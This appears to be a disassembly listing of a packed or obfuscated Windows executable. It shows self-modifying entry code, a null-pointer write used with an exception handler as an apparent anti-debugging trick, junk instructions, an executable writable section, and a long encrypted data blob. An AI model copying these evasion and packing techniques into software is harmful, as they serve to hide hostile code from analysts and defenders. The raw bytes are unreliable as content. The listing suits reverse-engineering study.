loc_402839: ; CODE XREF: start-1777Fj
jmp near ptr 8D67139Dh
; ---------------------------------------------------------------------------
loc_40283E: ; CODE XREF: start+7j
mov eax, offset loc_40284D
add byte ptr [eax], 28h
inc eax
add dword ptr [eax], 1234567h
loc_40284D: ; DATA XREF: start:loc_40283Eo
nop
test al, 52h
sbb eax, 0FF6450FFh
xor eax, 0
mov large fs:0, esp
xor eax, eax
mov [eax], ecx
nop
nop
nop
nop
pop esi
push esi
db 2Eh
push 0E7CE3324h
db 67h
jo near ptr 2891h
mov al, ds:1BA31D9Ah
push esi
db 26h
sti
cwde
in eax, 0F9h ; AT 80287 data.
; 286 sends opcodes & operands and receives results.
jz short loc_402839
sbb [edi-69h], ecx
add eax, 0A4A35802h
inc ebx
push 0B6D8243Ch
sbb al, 0B8h
dec ecx
add eax, 10C45DA1h
mov cl, 0CBh
adc al, 0A3h
db 3Eh
and eax, 17D4A9DBh
push eax
xor edx, [ebp+4E28C0C7h]
db 67h
xchg eax, esp
test [ecx], edi
pop ebp
sbb [ebp-2C2B5EE7h], al
sub ch, dl
cmp [ebp-1CD343ADh], cl
inc ecx
and [esi], dh
lodsd
adc ah, al
or [eax+62h], al
loop loc_4028E0
mov dword ptr [edi], 0C167A578h
push esi
add dh, [ebx-77h]
pop ebp
xor [ecx], edx
cmp al, 3
xchg eax, edi
db 26h
adc eax, 7124031Ah
dec ebp
loc_4028E0: ; CODE XREF: start-1773Aj
adc eax, 8BC070CBh
hlt
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 2A89h
dd 3CADC75h, 5C56179Fh, 64945A46h, 0C6534EFh, 0FFFC4D83h
dd 0C2295F72h, 0F356E049h, 551C9D5Fh, 1178526Fh, 19B95014h
dd 5AED7908h, 658D0882h, 0F0B8C4CCh, 4C0D26C7h, 6A0AC60Dh
dd 0E763504h, 0F847128h, 8A4C58B6h, 840AE98Bh, 750D7188h
dd 0C64F0E1Ch, 0C30E243Ch, 73EA4529h, 0A33B2380h, 61E64AA4h
dd 0B6E86D01h, 3C187AEEh, 3B2A31DFh, 0A8620AA4h, 0ED9E971h
dd 966A6E20h, 0C71882BAh, 1B09B456h, 0F138B8D2h, 72CE31B2h
dd 4230E860h, 74284E3Dh, 8063FE99h, 7AA59CE8h, 2440D86Ch
dd 326AE701h, 20BF71C2h, 7D8382E2h, 0B23556C1h, 0F350700Bh
dd 8915AAABh, 69C3241Dh, 4EEF860Fh, 0EE7D2321h, 0BB9D02h
dd 118AEF4Dh, 0CB1D284h, 14C1EEAEh, 0CDC0FF41h, 870FC23Bh
dd 7625935Ah, 5BF7CEC7h, 489C52EEh, 524E28CCh, 474D871h
dd 9E8DAA0Bh, 80899148h, 0CB7B803Bh, 518A2C74h, 6C4D016Bh
dd 3BFAB8B0h, 1477C711h, 8AFCB282h, 2DA43492h, 16469008h
dd 76011340h, 804141F5h, 0D4183039h, 16C5D6FFh, 69D08C3h
dd 0C17204FCh, 5C7E570h, 0E671531Ch, 0D2A35062h, 850BD1FDh
dd 6E3CCDB0h, 7010BFE1h, 59A5A50Fh, 0BBBA35Ah, 4055EBA5h
dd 0E4FF7988h, 37548E8h, 26A142DFh, 333D3313h, 0C677246h
dd 9D2C6F39h, 5A67C854h, 730B3AFAh, 0AB4DB2C2h, 0DEB00C0h
dd 0AC6E1D39h, 0A29BB360h, 4D1B830h, 14A293E1h, 0B6446503h
dd 83155CDAh, 5C21255Ah, 20D9FE55h, 0BCAC4BC4h, 25FF1387h
dd 0FD656A64h, 0EC6814F8h, 4DCE86FCh, 9D19BBB7h, 0A42D8849h
dd 22749271h, 0C6041398h, 0D04715Dh, 4810578Ch, 0EAE30374h
dd 0D20C04B8h, 0B41205E3h, 5A15133h, 57E40411h, 97596CC5h
dd 0AACB6C1Eh, 6517EBB4h, 0DCC5A7A3h, 5F2BC36Fh, 514C31Ch
dd 36A51A95h, 0AD338FFh, 3DEE1679h, 487BE2Dh, 47058488h
dd 0C6825804h, 8AF47202h, 23C6F245h, 18204512h, 530D3792h
dd 85558D57h, 180AB660h, 0C1013BC3h, 0C82B1D77h, 2A6CBC8Dh
dd 20B82E41h, 0D98B2400h, 2C846867h, 848089DEh, 4242AAF3h
dd 0FF42288Ah, 5FD02A60h, 1AE3805Bh, 749CFAECh, 7AF38DE9h
dd 56C46943h, 2376D55Fh, 1DE8FD74h, 971EB556h, 239E3456h
dd 3AF9363Bh, 5D68E3FCh, 0D827DED8h, 828E5C5Eh, 2728D5Ah
dd 0F6118B66h, 164918C2h, 1005FA9Eh, 0A005948Ah, 20908864h
dd 1AA867F5h, 0BD9F0211h, 1C201D1Ah, 168FA3FCh, 81931CA0h
dd 5C3C26h, 49EB27BFh, 0B25D615h, 4197241h, 3AAA5A1Bh
dd 80C8804Bh, 5B8820C1h, 1F2C4988h, 72611618h, 7A0B0413h
dd 534E0E77h, 20E91D81h, 4C6AE0EBh, 59BE4A79h, 0A023264Eh
dd 0CDFD6A12h, 59A20908h, 3C48FC89h, 68DDD32Fh, 0B4240631h
dd 632D2197h, 7456DFC2h, 21B4B40Ah, 508C8E2Dh, 1FA6B35Eh
dd 0CD843DFCh, 321C590Fh, 0C79D0736h, 40A3C32Ch, 77E00482h
dd 86670722h, 5FB0EF2Ch, 56971675h, 13F1E373h, 0DED14839h
dd 0C86CD167h, 16D03DC8h, 70B40B77h, 1AB9302Dh, 20621C10h
dd 83BEB803h, 830F05C6h, 0B856F0E6h, 68EC6073h, 6F794040h
dd 0A3A614DCh, 8E70FC1Ch, 0F402D8A3h, 0F85A25ECh, 0A3447006h
dd 3CDCDBF0h, 62F410E8h, 18D0A1C0h, 802D0C8Dh, 73830A1h
dd 22EBD688h, 2B77E114h, 668C0C50h, 7224005Ch, 15AB0766h
dd 738DEB14h, 462D5EC0h, 920C2913h, 411830FEh, 0F28B0B10h
dd 190C712Bh, 0C208805Ah, 0EEC157FCh, 0CE8B0F00h, 69FC7A8Bh
dd 0F7044EC9h, 0BF604B44h, 5D018C8Dh, 0A8AB9944h, 75828915h
dd 0C130C8Bh, 0F808E006h, 0C12B7F75h, 3F0575F9h, 0B805F49h
dd 76CF3B0Ch, 82129303h, 3B04134Ch, 750803C1h, 1EE9648h
dd 7320F983h, 0B99ABF1Ch, 8DEFD300h, 0F704014Ch, 7C21D700h
dd 9FE44B0h, 752B5C75h, 0EB390221h, 0E0C18324h, 2DDF1EFBh
dd 0B0BC8C21h, 24F3A24Eh, 479A106h, 8B085170h, 8955B17Ch
dd 0F0040A6Ch, 585D0308h, 0B8080DF8h, 1FB8B8Ch, 4F04FFC1h
dd 673FFF83h, 5F1A867Bh, 18CFBF66h, 6CEC2397h, 2B453934h
dd 11E7B52Ch, 558960A1h, 5A1749F8h, 0BA6CA3Bh, 0F3890576h
dd 7141CA96h, 4077FB1Bh, 0FA3B403Eh, 8B2C0276h, 0CE84BFFAh
dd 8B16D2BEh, 512DBE51h, 67BAE7BDh, 21D261EAh, 1176DC54h
dd 0BDD41EFDh, 0F69421E2h, 0A75173BDh, 4916BF52h, 0B4A2FBEh
dd 873041Ch, 0CC91119Ch, 0D5EC4C6Fh, 33390926h, 7544EC66h
dd 8BCE75C9h, 5329F9B2h, 97260BA7h, 0E712F89h, 5417789h
dd 100E3B16h, 0CFC36375h, 0A70B0407h, 0F4D8800h, 0B888C1FEh
dd 8625730Bh, 460F2C3Bh, 403B0E43h, 0D3CF8B80h, 976EB5Ch
dd 0C50D195Ah, 0B181448Dh, 29EB1809h, 1610246Ch, 19E04F8Dh
dd 590B25DFh, 7E2D0F04h, 0D8848D42h, 4E3809B7h, 4501548Bh
dd 891A89F0h, 0AB19135Ch, 0FA3CA356h, 6376DAA1h, 17DF9E48h
dd 0DEC0D8Bh, 883D8B0Dh, 0E1C19AC0h, 5948030Fh, 332B520Ch
dd 92272123h, 0FF515305h, 321FE7D7h, 9E11C6Bh, 0E6D0850h
dd 104039F8h, 88A48316h, 3C57756Ch, 482FFE0Fh, 48190A43h
dd 43792A84h, 608313E0h, 11B6FE04h, 30788324h, 8E536CC9h
dd 0C702C10h, 0C412ED5Ah, 0A87E1009h, 8B8DF44Dh, 4F2B115h
dd 0C5923280h, 28B6C8CBh, 114C3B70h, 8D5104ECh, 68511448h
dd 6B4339E3h, 1685B1D9h, 2FA00DFFh, 0F4F4053Bh, 0FFC535CCh
dd 3A969D14h, 0D10D8908h, 1C0BEB4Ch, 851AA396h, 0AC983589h
dd 14CB6A5Bh, 2F677B66h, 0BA8B368h, 0B62C823Ch, 1748861Bh
dd 74F076C4h, 496AE617h, 0E7D34E0h, 0FF04CE83h, 4D83EED3h
dd 75068E86h, 0EA10EBF4h, 33C8E026h, 0BAE8D3F6h, 5A340C0Eh
dd 744A69A1h, 87FC08Ch, 4C8B1973h, 3B2CE14Bh, 23002B23h
dd 75CF0BFEh, 36C3830Bh, 789A3B14h, 0B8E77218h, 0B797507h
dd 0D83BDA8Bh, 0D9154726h, 0E6EBE205h, 597519C2h, 117324E0h
dd 8407B83h, 781379CFh, 0B4EDEB29h, 16267537h, 2FDD1B0Dh
dd 5F86EE9Eh, 0D8CA3091h, 1CDB5C85h, 0C2146174h, 59733439h
dd 89105BC0h, 43588B01h, 0C7C238A8h, 334033D0h, 0B61D89BDh
dd 8B14E2A5h, 9BFA16C5h, 2D384AC7h, 908C268Bh, 0B809BB6h
dd 50884490h, 12BC8B37h, 55117058h, 8304DDE7h, 84C0FC65h
dd 0D60B4448h, 750B8B58h, 918B1714h, 5C197A3Bh, 3C981CECh
dd 23FE018Bh, 74D70B39h, 0D8884CE9h, 0FF673380h, 58A8915Ch
dd 4C76D84Dh, 75CE57B8h, 17660D5Fh, 64206Ah, 7CC9855Fh
dd 0BE1D105h, 8BF7EB47h, 0F9548B20h, 2B0A0C43h, 70F17FE6h
dd 4FEC17Bh, 0FE834E04h, 0F8707E3Fh, 0D8F73B5Eh, 17B0D9Bh
dd 8E612478h, 2B7D2320h, 54967A11h, 169C3823h, 0EC01F3D3h
dd 44885C23h, 0FE037089h, 0EADD750Fh, 0EC019243h, 31EB0B21h
dd 2B9D171Eh, 0A13695B9h, 192132E1h, 0AC362967h, 662CFD98h
dd 888A4685h, 7AC0E38Bh, 0F88604h, 0AFB89569h, 90CE087Ah
dd 369484E2h, 7CA9E1C7h, 0C4262F1h, 6D22A5CEh, 0C76479C2h
dd 11FE1E06h, 9B297D0Bh, 0B0599C4h, 11DC8800h, 668ADB62h
dd 2D8C6C77h, 6F0A3B09h, 7C09168Fh, 2FEB16AEh, 8D0DF028h
dd 41B68D4Eh, 68047B09h, 0ADB6BCB1h, 0B0BE16F3h, 0CE3709EEh
dd 743AB06Ah, 0A89110Bh, 0FC038B89h, 8279A3B2h, 0D103F075h
dd 0A10122C5h, 38FC3212h, 0B00E8B9Fh, 0B0798D21h, 1B753E0Fh
dd 0F21D3B1Ah, 4B336748h, 0A4B43B91h, 6BFB06CAh, 88911C0h
dd 8D04428Dh, 8702B708h
dd 0C4AAE80Dh, 5D30FF1Dh, 8D4C3075h, 7250474Dh, 1836ED63h
dd 97D45788h, 0C73B5878h, 0AF88744Ch, 6FC02B9Ch, 8FCCF3Dh
dd 7241C468h, 453B08BFh, 348D30E0h, 9CEB8781h, 46890033h
dd 6A2A7410h, 30AB6804h, 0B2D36890h, 5C5FFF4Ch, 0C20C3019h
dd 0D61076AAh, 4BFCDA64h, 337C3625h, 0C538244Eh, 47E0B89h
dd 6E6205FFh, 0DB9A4541h, 5121675Fh, 8B57DFB0h, 41C8D871h
dd 0DB330819h, 8F4FC593h, 0C33643E0h, 0C0691B37h, 635A4681h
dd 826C30FBh, 40EAB045h, 402B108h, 4A27CD26h, 85FB2C1Eh
dd 0DFE7C133h, 0B40C790Ch, 0E4686633h, 76A18B9Fh, 0C0D1ED30h
dd 8D693527h, 70550097h, 77FA5480h, 0B1478D3Ch, 0F2184877h
dd 7E884383h, 8D0BF427h, 8306FC88h, 0F0FC40C7h, 0E7142D7h
dd 88005EFh, 80C70448h, 0A20F73E8h, 56D30514h, 18F02C62h
dd 0C7487696h, 0C4F54E2h, 0FC71BEC8h, 26725F01h, 8DACC189h
dd 8630C4Ah, 168F9C08h, 42449E64h, 0E39EBC13h, 43468A40h
dd 0BC86C8Ah, 7AC08433h, 434E8880h, 2B090375h, 62660478h
dd 68B2CB8Bh, 6A337EBBh, 0D2ABD896h, 0B03B1534h, 68420470h
dd 30D15464h, 0E0FE0314h, 54358B67h, 58680BB8h, 0FF8A0ED3h
dd 296167D6h, 68507440h, 2D10BC48h, 0A073468h, 6ED0B4A3h
dd 0B84DA3D6h, 510B3ABCh, 0FF166583h, 0B3D34D0h, 0B8A10E74h
dd 5305C210h, 0FD1811D3h, 2803B518h, 78B078C5h, 9D9CC33Ah
dd 0DFD495F8h, 0B8576EB9h, 12567A8Fh, 0C0D98B53h, 0C6F71417h
dd 8D49CD03h, 69921024h, 6F75D2C0h, 92D521EBh, 74531CE9h
dd 68B2541h, 75C31F29h, 0F05AEBh, 0E3835175h, 0BC0D7403h
dd 2F1DF220h, 0C1651C46h, 5F5E5B4Ch, 29B141C3h, 3A691274h
dd 8A7EB0h, 5EBBD490h, 6C2E3AEEh, 0FA2EE218h, 785B2ACAh
dd 89D7D352h, 0DA5BAF63h, 1683063Ah, 0DEF3C683h, 1E3F2CCFh
dd 75160C3Eh, 0EB0439C6h, 0CBE28118h, 9B8CCC2h, 0B000F30Eh
dd 0B6D23304h, 55E9E753h, 16040A16h, 855F0789h, 0B0C5F875h
dd 0A3A98575h, 70CFE126h, 23F91CA8h, 0DC3D082Ah, 57467AD0h
dd 923A5740h, 0A535DE4Dh, 34724717h, 62E4DA98h, 23D01D0Eh
dd 53E322EBh, 579CE64Dh, 22389C7Eh, 524C701h, 398578DCh
dd 7E147D0Dh, 0ADDC3610h, 591D09FDh, 0C4AC3F4Ch, 2E2DC45h
dd 1C16C61Dh, 0FC26619Dh, 0C6C948E7h, 1A8938D4h, 44D32DAFh
dd 0FB6A209Ah, 5B73202Ch, 7A4C2EFFh, 0FBB82469h, 878BF820h
dd 0B9E4326Eh, 68E89C5Fh, 1B690414h, 0B1C4FFECh, 0E7A7DC41h
dd 7D13EB1Ah, 179D45F8h, 388B9611h, 74DC6770h, 5A8B6645h
dd 21CE61DCh, 0F4BC5775h, 0E778B34Dh, 0ACBA51Ah, 18F08B43h
dd 0F5ACD84Ah, 0F6327400h, 74040D45h, 1C3EB140h, 0CBB27863h
dd 7F0BD53Bh, 32CEDA1Eh, 852170A9h, 9CE6008Fh, 23FFC83Ah
dd 0EE207EC7h, 363FB320h, 16D3DC8Bh, 12CEB3E0h, 0B256CEB6h
dd 0DF0B7DDEh, 6456B474h, 0AC67E496h, 8F9C5D74h, 475B3C2h
dd 6EB03C2h, 28858CF3h, 411D2068h, 6DC8D5D1h, 28B25ABFh
dd 0CB68C871h, 5D6971A7h, 89B4785h, 0C656D285h, 314CFFF7h
dd 0B27B386Ch, 49E8B15Eh, 0F32E2E86h, 755E0B0Ch, 0B81E2B05h
dd 85ACC283h, 8C79E447h, 65723B0Fh, 5AE30E7Ch, 0D8729E04h
dd 2352A283h, 0B88EDFDFh, 76D0F84Ah, 4AC83E49h, 384A4C1Eh
dd 700C49E0h, 0EB4A304Ah, 35225CF7h, 25917BDFh, 3FF7DF1Bh
dd 6CBAFE5h, 949E039Ch, 0E7848C79h, 7A749E7Ch, 57DF236Ch
dd 0FF65096Bh, 0E7D0F0A2h, 0F09EDC03h, 58DFF588h, 1FEB4C50h
dd 58584C00h, 2CD0ED4Bh, 0BB96890h, 0B0037388h, 0A7DF1ED1h
dd 0DF352229h, 1B2991FBh, 5BF9FDDFh, 0C067204h, 9E1403E7h
dd 2C24791Ch, 479E34E7h, 0DADFD588h, 72601FF1h, 3E76805h
dd 888C9E78h, 0FFD8DFD5h, 9A804725h, 0E7D70075h, 291589FFh
dd 3292E8Bh, 6E757280h, 16D6974h, 72652065h, 2C726F72h
dd 600D65B7h, 4F4C54EEh, 1153532Fh, 30E3Ah, 474E4953h
dd 440B00BCh, 12414D4Fh, 5280113Bh, 38323036h, 202D08B0h
dd 62614BB0h, 6F746C70h, 6E69200Bh, 61025669h, 0C07A696Ch
dd 6165680Dh, 0E837BC70h, 6EE83727h, 3D746F2Ch, 677504E1h
dd 16735958h, 23636170h, 0B7B662Eh, 69776F6Ch, 61617938h
dd 6E6E6F06h, 0B0363E37h, 0FB647473h, 708235CEh, 2BC07275h
dd 74726976h, 0CE217559h, 632DA533h, 63200B23h, 286C160Ch
dd 341727DDh, 0B05FAC5Fh, 0B178652Ah, 58672F5Ch, 74DC4E06h
dd 175FEBE2h, 0E0F73931h, 0BB65706Fh, 73318558h, 640FC56Fh
dd 63738B65h, 0F338792Bh, 0E124469Ch, 36646581h, 3A57BD19h
dd 0C2373F23h, 0C26C756Dh, 0C26874ACh, 716461BFh, 6A6B6321h
dd 0B917972Fh, 626434F9h, 2EEE61B7h, 84A27302h, 0E56D7221h
dd 40817000h, 6D617267h, 134A2067h, 2F2F366Dh, 0F53930C2h
dd 7710B94Fh, 6D162A41h, 2E742E07h, 0FA382BE8h, 677261C1h
dd 73286875h, 60965F9Ah, 66592B74h, 6E6EE2C1h, 6F82C567h
dd 3A74058Bh, 2658116Fh, 4C7FBC64h, 60E52D4Dh, 1566398Bh
dd 73695604h, 2B43AAD0h, 52202B1Bh, 694CE1A0h, 72B46162h
dd 0A276879h, 167E73DAh, 160E454Dh, 502F1121h, 0B93A12D4h
dd 612EABh, 0E56A3C00h, 25DCE073h, 6C6B582Ch, 3E6E3377h
dd 0FFB3C91Eh, 38198738h, 74654701h, 42B1614Ch, 7612B841h
dd 0BE504C65h, 707516h, 160F9F13h, 642CA557h, 6597E036h
dd 61017373h, 6F426567h, 0F8584178h, 33359873h, 642E321Bh
dd 4700163Ah, 0E480EC7h, 0B744812h, 0E3C6C279h, 863755CCh
dd 1E561C0Eh, 557750E0h, 1C57140Eh, 0D43B5014h, 57228755h
dd 1D50E80Eh, 74C354ECh, 0F850CE57h, 6657702Eh, 5754E157h
dd 0E15746C3h, 4AC3563Ah, 56568756h, 1C56600Eh, 7438566Ah
dd 56707C56h, 90E15686h, 56A6C356h, 0E56B687h, 0D02D56C0h
dd 0F0033C9Bh, 28CFFCF3h, 79598C1Ch, 64E7707Ch, 4E795A9Eh
dd 9E2AE73Ch, 0FC087814h, 0CFF0E358h, 0C6D43CE2h, 0AAC7B8F3h
dd 389A1E59h, 0F3965782h, 3CBACFA8h, 0EAF3D6C8h, 1A1CFECFh
dd 4E347958h, 7C9E64E7h, 0EEA89679h, 56108501h, 0F13007E6h
dd 3B91080h, 9E09E713h, 0D047917h, 0C9E39E7h, 0E7340B79h
dd 7B029E73h, 773DE303h, 72729263h, 0B7606669h, 75455355h
dd 0A7E12D52h, 41630230h, 77726464h, 4C4611DBh, 62F287E9h
dd 6C0FD141h, 637213B0h, 0D0B705Eh, 96636C5Fh, 0A7BF7A6h
dd 4F77098Bh, 88097417h, 745EE563h, 0E9B01D69h, 11B67065h
dd 2F7C6FDAh, 673F068Dh, 646F4D05h, 46218575h, 4E038D69h
dd 964F89DDh, 65823943h, 2FD46854h, 4645669Ch, 2F7CEE78h
dd 0D44D8D9Ah, 54233FBFh, 436B0614h, 39EDEE6Fh, 9D754DE1h
dd 8B49F38Ah, 455A7968h, 0F02BE441h, 8C4473AFh, 5B3C8EA7h
dd 4B2CC96Fh, 454E16F6h, 57A0F94Ch, 5F4D3253h, 6241C205h
dd 537423C1h, 656F6079h, 6859536Dh, 6E3AE553h, 655255B0h
dd 0F0435A67h, 79654B0Bh, 8853C50Dh, 8EC1565Ah, 79456575h
dd 4F11E575h, 0E01EE0DEh, 5644410Eh, 49504113h, 0F1E1DB59h
dd 8B676148h, 8C13CE98h, 0E184CC53h, 6E49707Dh, 0ABFB1D99h
dd 6D6DBA85h, 2D7322D6h, 5644BD6Eh, 32735963h, 8937DB8Bh
dd 0A0B56968h, 3E549CE3h, 12655BA8h, 7593419Dh, 0DE853926h
dd 6E551627h, 64CB7468h, 7011383Eh, 1B2ED7CDh, 49B235E5h
dd 0BE2ACE46h, 8FE7C146h
dd 670B1727h, 0D6194173h, 4EC8577Ah, 81439AC5h, 6F547252h
dd 13855A4Dh, 6FF97942h, 0CF2E7579h, 99B6A917h, 0DF23EBAh
dd 11B6C7D6h, 7E14645Eh, 16C6B40Fh, 0E707954h, 17714888h
dd 80B86544h, 0DBE796Fh, 29E8F7BCh, 9DC58756h, 7E1B3FB4h
dd 7495B00Ah, 7700986Ch, 0B9D201DDh, 51D3A569h, 6EBB0BDDh
dd 3ED075C6h, 0E9A27C71h, 75A56E73h, 89571F11h, 0B2A75043h
dd 9F41C50Bh, 4F85150Ch, 0BE74D45h, 0CB41447Fh, 993B80F8h
dd 1B4E0E9Dh, 0E3A29D3h, 4D434C83h, 6D395F9Fh, 57670FFCh
dd 3C6BA1DFh, 3456C62Dh, 46C06934h, 334A5A10h, 0B966C904h
dd 0FA60017Dh, 5E2990Ah, 0E805EBFAh, 708270EBh, 99029895h
dd 38FDC399h, 9905C0A9h, 0B95D912h, 3485E912h, 12910006h
dd 0A5EA1241h, 87ED1200h, 126A9AE1h, 9AB900E7h, 8DD71262h
dd 0CF0574AAh, 0A612C8CEh, 0F36B0BC0h, 6AC097h, 0C091ED3Fh
dd 9D5E1AC6h, 707BDC16h, 12C70007h, 0BDDF1254h, 485A009Ah
dd 0AA589A78h, 1258FF50h, 8558DF3Fh, 782C580Dh, 122C0E9Bh
dd 12000899h, 1A6E1263h, 212975Fh, 0C09AF349h, 68EE1E71h
dd 0CB94000Ch, 65CE66CFh, 0F367B0C3h, 0ED12B19Ch, 0C1C9E5h
dd 9BF398F3h, 0C0751562h, 9B9E5E14h, 4B9D2B99h, 0DE100019h
dd 0CE89F39Dh, 6913CA58h, 5CB1AB3h, 53C226Dh, 1A47B061h
dd 12DD1675h, 1B701E6Dh, 9D0110C0h, 10627B17h, 263A1CFh
dd 0FFD980A5h, 1B5DF5Eh, 0DE149898h, 62CFC989h, 0CEC886h
dd 5E037035h, 0FAA505DEh, 8299FDF4h, 0C8C9A514h, 0CB793CC2h
dd 164476EFh, 2C03C965h, 3502417Dh, 60EC591Ch, 118BCEC8h
dd 0C0C34B01h, 0C0777B32h, 6776715Ah, 0DE666600h, 0EBC9EDFCh
dd 0D8FA00F6h, 0FCEBFDFDh, 992CEAEAh, 0F81605DAh, 9E11FCEDh
dd 99D8000Dh, 0EDF0E1DCh, 13BBF1CDh, 0F6D55685h, 0F0D50480h
dd 2CF8EBFBh, 117E0EBh, 0C6ABEAEEh, 6199ABAAh, 62CAD8B0h
dd 42CEF229h, 0F0FB0B11h, 0F50523F7h, 3C81EAF0h, 0FAF899F7h
dd 0C0E93D62h, 0F6F5FAEAh, 0B245B3EAh, 0B77C991Fh, 53FF0785h
dd 4172424Dh, 3FC85318h, 879D34CBh, 6202C0h, 43335002h
dd 0BC2B9720h, 4B524F00h, 525020h, 4152474Fh, 2E31204Dh
dd 4C173058h, 4D4E4116h, 8F0A7602h, 50A2B1CDh, 6B03C257h
dd 330F3267h, 330E8141h, 7261312Eh, 23C24D27h, 57995832h
dd 325932D4h, 4E0AC116h, 18612054h, 0A623020h, 0A475F932h
dd 0EC738B68h, 85D5EB07h, 81FF0C59h, 11040023h, 201B7C0Ah
dd 4087D4ECh, 4C006916h, 0CF234B73h, 977F6821h, 0E008821Bh
dd 0B8995696h, 0AECD24C8h, 51F6F9Bh, 0DC730077h, 305B743Ah
dd 0E5097401h, 879D668Ch, 0CE237D27h, 72E2C1Dh, 0DA2F51FAh
dd 2008D8ABh, 3AEFDAE8h, 0B39FCE57h, 101CB03h, 0CB234697h
dd 40E70747h, 1670679h, 0DD106507h, 15001F01h, 48E0888Ah
dd 4F1C00h, 19810044h, 0E4F27A6Ah, 28021C49h, 742530AFh
dd 0AFF7B310h, 0D15CB2E1h, 0B8F575DFh, 0DFB10429h, 0BD07675Ch
dd 5C5D319Ch, 3261D101h, 7074377h, 65380036h, 3077B22Eh
dd 0B0491BE4h, 79004318h, 683F24h, 0B464FC00h, 41A27763h
dd 0CE04DC08h, 63182CF6h, 0DEDE02h, 0F816000Eh, 5E019F1Ch
dd 40D72602h, 20B70089h, 11034219h, 746C8BD1h, 7274C4D9h
dd 635B2E8Ch, 6B9C8B2Bh, 4ED62547h, 4CC5E50h, 0BD0417E8h
dd 1354171Ch, 5C5A542Eh, 0B1596326h, 0C7775C22h, 9D4545CBh
dd 5822365h, 0CF030B00h, 879D3837h, 110B80Bh, 507E729h
dd 19286A60h, 0B10C0039h, 0A89B11D0h, 4F0BC000h, 5FF52ED9h
dd 8A885D60h, 0C91C04EBh, 0C0E89F11h, 48102B3Ch, 0BD1B760h
dd 0FCA3F40Ch, 0A03A6074h, 3A13E70Ch, 0CB187A3h, 0E900765Eh
dd 8897D138h, 0F004068h, 3EC0009h, 9541079Dh, 4F364014h
dd 0C1797C60h, 7FAC7DCh, 0EE7443E7h, 8578A013h, 0AB000513h
dd 0E1E9A65Bh, 34F8100Eh, 692F7713h, 138D87A5h, 4023B30Eh
dd 8932A0Fh, 3788AD84h, 10B98143h, 1C505EEh, 4E16FFA7h
dd 200C8563h, 0DADFFE1h, 0C207A9F3h, 7BD80F05h, 118877Fh
dd 840E701Dh, 13CBB90Fh, 6595517Fh, 3A7FAF1Dh, 0E8387402h
dd 0F7C6C7Fh, 9A1300EAh, 0CE556FA8h, 13DDE943h, 20A3064Fh
dd 8C5E912Fh, 4B015ABDh, 3CD03B7Dh, 75151F12h, 1C2AD602h
dd 0E540FD75h, 18973124h, 0CF100373h, 0F8003C08h, 0E7F06871h
dd 353180E8h, 4B4F2030h, 322FBEACh, 328F0730h, 30338736h
dd 31333361h, 30178EDBh, 987661C4h, 6543766Ch, 0A00B6ECBh
dd 9678652Eh, 636582EDh, 176D2C68h, 8266666h, 2576739Ah
dd 0B0351B18h, 3E3400h, 646D633Eh, 7074662Eh, 61031ABCh
dd 796E6F6Eh, 7339186Dh, 0EFA817BFh, 628C09C8h, 0F81B6767h
dd 74586567h, 5F63694Dh, 7F6D3A6Dh, 79628B1Bh, 5FE25411h
dd 200BE026h, 0B53A732Dh, 0DF3B3A16h, 64A6BC20h, 206C6517h
dd 0C76CF535h, 37320B31h, 9701302Eh, 630D0B31h, 0BF675C3Ah
dd 6F6C02E2h, 42CE0067h, 25D0710Fh, 5C166E5Bh, 5C05095Ch
dd 68637069h, 659EBEDh, 6613D001h, 1CEC0481h, 33E4FF07h
dd 35291863h, 55513DB8h, 39A04969h, 5A544552h, 3F710752h
dd 1A026A2Eh, 46702C00h, 0E854524Fh, 26416350h, 0CD51073Ah
dd 27F0000Fh, 556D754Ah, 730B8570h, 5402854Eh, 0D0079A69h
dd 6F4AA1h, 616B6162h, 4F530033h, 5754460Bh, 5C115541h
dd 5C299C6Ah, 0F5C97E3h, 0B6F0207Fh, 7561525Ch, 42A1BADBh
dd 0EB652AFFh, 7754557Ah, 6D4E03B0h, 2851019Dh, 7A2075D6h
dd 7E1015B1h, 0BC84CE01h, 813BFB10h, 3BBF01CEh, 0F382CE10h
dd 10CFAF02h, 9D1A20CAh, 0D768E4AAh, 0D907C72Eh, 0BC0C7C4h
dd 0C31D11F9h, 96F204C0h, 8D790BDEh, 0DE8EF908h, 909D8F77h
dd 927991E7h, 0A19377DEh, 30793CBh, 8C7A0A9Eh, 0CE9E4B4h
dd 2004535Ah, 0D5199305h, 33021EA4h, 0BCD35398h, 68F56C07h
dd 7B34069h, 531C3FB1h, 0F0C0B191h, 11076352h, 123CC0CFh
dd 0CF13F39Ch, 38183C70h, 104558F7h, 1C1A07CFh, 1B7951D8h
dd 9E1CE7A0h, 68787978h, 589E79E7h, 0E7487A79h, 79449EFCh
dd 1E134FFh, 0CA6D0402h, 600BC089h, 21827982h, 0A63BAEBEh
dd 0A1000BDFh, 81C007A5h, 0E8FCE09Fh, 807E3B40h, 0D2FA82Eh
dd 0A3DAA3C1h, 811F87EAh, 0FE400FFEh, 5F2FB58Bh, 0B69E419Fh
dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h
dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah, 0DE1CD8D3h
dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 1401h dup(0)
_text ends
; Section 3. (virtual address 0001A000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00020000 ( 131072.)
; Offset to raw data for section: 0001A000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 41A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES
pusha
call sub_43F4C7
popa
jmp loc_40283E
start endp
; ---------------------------------------------------------------------------
dd 9C0C8FD1h, 9C9C9C9Fh, 9C9C9C98h, 9C9C6363h, 9C9C9C24h
dd 9C9C9C9Ch, 9C9C9CDCh, 8 dup(9C9C9C9Ch), 9C9C9C1Ch, 36B43BC9h
dd 0A3A61511h, 9D749584h, 5E60306Ch, 0A98FE3D7h, 308D4B2Eh
dd 9D3BE8E7h, 0F8681066h, 29254FCEh, 0B3B83758h, 1A4EF86Fh
dd 58C3C4FEh, 0EAB1A7B3h, 9E5172C4h, 0DCAC289Eh, 81749694h
dd 9C9CFA94h, 9C9A9DD0h, 0D45D03EFh, 2 dup(9C9C9C9Ch)
